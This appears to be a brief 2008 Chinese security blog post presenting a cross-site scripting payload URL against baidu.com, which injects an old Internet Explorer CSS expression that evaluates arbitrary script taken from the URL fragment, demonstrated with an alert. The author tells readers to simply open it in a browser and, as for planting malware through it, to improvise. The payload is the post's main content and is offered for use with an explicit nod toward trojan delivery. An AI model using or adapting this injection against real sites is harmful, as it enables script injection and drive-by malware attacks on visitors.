ps:直接浏览器访问即可,至于挂马吗?自己发挥吧。
http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1);#alert%28121212%29
安全、专注、发现、分享
作者:neeao | 2008-06-24 01:00:46 | 安全防护
上一篇:关于跨域蠕虫的存在
下一篇:遭受入侵后的证据有哪些?